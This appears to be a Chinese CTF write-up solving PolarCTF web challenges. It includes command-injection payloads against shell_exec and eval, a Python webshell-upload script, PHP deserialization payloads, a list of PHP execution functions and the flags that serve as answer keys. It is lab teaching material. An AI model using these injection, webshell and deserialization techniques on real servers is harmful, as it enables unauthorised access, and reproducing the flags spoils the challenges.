Web刷题之polarctf靶场(3)

news/2024/10/14 19:24:42

1. 干正则

打开靶场发现是简单的php代码审计, 先构造id=a[0]=www.polarctf.com, 由于要ping两次, 所以先构造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {show_source(__FILE__);die();
} else {include 'flag.php';$a = "www.baidu.com";$result = "";$id = $_GET['id'];@parse_str($id);echo $a[0];if ($a[0] == 'www.polarctf.com') {$ip = $_GET['cmd'];if (preg_match('/flag\.php/', $ip)) {die("don't show flag!!!");}$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);if ($result) {echo "<pre>{$result}</pre>";}} else {exit('其实很简单!');}
}

image

再由于正则匹配, 我们将cmd修改为cmd=|tac f*

image

#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

2. cool

打开靶场, 发现是简单的php代码审计, 需要GET传一个参数a, 但是系统命令执行函数system()被禁止了, 这里我们用passthru()来替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){$a = $_GET['a'];if(is_numeric($a)){echo "no";}if(!preg_match("/flag|system|php/i", $a)){eval($a);}
}else{highlight_file(__FILE__);
}
?>

image

由于flag字样也被禁止了, 我们用通识符来得到flag即a=passthru('tac f*');

image

#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

知识扩展(PHP中常见的命令执行函数和代码执行函数)

1. 命令执行函数system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引号``
system()作用: 将字符串作为OS命令执行, 自带输出功能
passthru()作用: 将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
exec()作用: 将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
反引号的作用: [``]反引号里面的代码也会被当作OS命令来执行2.代码执行函数
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

3. uploader

无任何过滤的文件上传, 直接编写脚本

image

#python
import requestsurl = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}response = requests.post(url, files=files)#如果状态码是200
if response.status_code == 200:print("Sucessfully")print(f"服务器返回信息: {response.text}")
else:print(f"状态码为: {response.status_code}")

image

拼接$sandBox和文件名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蚁剑连接即可

image

#flag{256d5ca173f463165db6ed366b597da8}

4. 覆盖

和第一题一样
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

5. PHP反序列化初试

一眼链子为 Easy->__wakeup()->Evil->__toString()

image

先构造ls文件:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}

image

再去读取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:"%20Evil%20env";N;}}

image

#flag{08a46a069bd77e33531bb2ab244f4196}

6. 机器人

根据题目名称, 猜测存在/robots.txt, flag{4749ea1ea481a5d

image

发现有Disallow禁止目录收录, 猜测剩下一半flag在里面

image

#flag{4749ea1ea481a5d56685442c8516b61c}

7. 扫扫看

根据题目提示, 用dirsearch扫一下

image
image

#flag{094c9cc14068a7d18ccd0dd3606e532f}

8. debudao

打卡靶场F12查看源代码得到fake_flag

image

通过BurpSuite发包试试看看有什么回显

image

#flag{72077a55w312584wb1aaa88888cd41af}

9. 审计

直接搜索找到特殊值绕过即可

image
或者
image

#flag{1bc29b36f623ba82aaf6724fd3b16718}

10. upload1

可以看到过滤的后缀名

image
image

上传成功用蚁剑连接即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/71568.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

题解:P2315 [HNOI2005] 数三角形

Problem Link [HNOI2005] 数三角形 题意 输入一个大三角形的各个边存在情况,输出里面有多少个正三角形。 Solution 简单暴力即可,用 \(4\) 个数组维护每条边能延伸的最大长度,然后逐个判断三角形是否可行即可。如图,l_upper 维护左端点向上(即 $\ell_{BA} $),l_lower 维…

梳理好本职工作之项目管理

项目整个里程碑,每个阶段应该输出什么

微服务01 ZooKeeper, Kafka

1.4 微服务 1.4.6 Spring Cloud JAVA 微服务技术 Dubbo是2014年之前阿里退出的分布式系统的技术(不属于微服务)。现在主流是 Spring Cloud Spring Cloud官网地址: https://spring.io/projects/spring-cloud 官网上实现方法有很多种,目前主流是阿里巴巴实现的方法Spring Boot…

Swarm 框架登场:OpenAI 第 3 阶段「敲门砖」;马斯克的 Teslabot 实际有人远程操控丨 RTE 开发者日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

[2024领航杯] Pwn方向题解 babyheap

[2024领航杯] Pwn方向题解 babyheap 前言: 当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了…

高级语言程序设计第三次个人作业

班级网址:https://edu.cnblogs.com/campus/fzu/2024C 作业网址:https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 姓名:袁湘湘 学号:102400109 一,第四章编程练习: 1,4.8.2问题:忘记怎么算名字的宽度 解决:翻阅书本,使用strlen()函数 2,4.8.3问题:无法运行…

智媒AI写作助手轻松写作热点文章,为你提升流量!

在信息爆炸的时代,内容创作成为了吸引用户、提升流量的关键。然而,对于许多创作者来说,持续产出高质量的热点文章是一项挑战。正是在这样的背景下,智媒AI写作助手应运而生,它不仅能够帮助创作者轻松捕捉热点,还能提升文章的质量,从而有效提升流量。以下是智媒AI写作助手…

C++异步调用 future async promise packaged_task

背景:C++ 异步调用是现代 C++ 编程中的一种重要技术,它允许程序在等待某个任务完成时继续执行其他代码,从而提高程序的效率和响应性。 C++11 引入了 std::async、std::future 和 std::promise 等工具,使得异步编程变得更加方便和直观。以下是关于 C++ 异步调用的详细介绍,…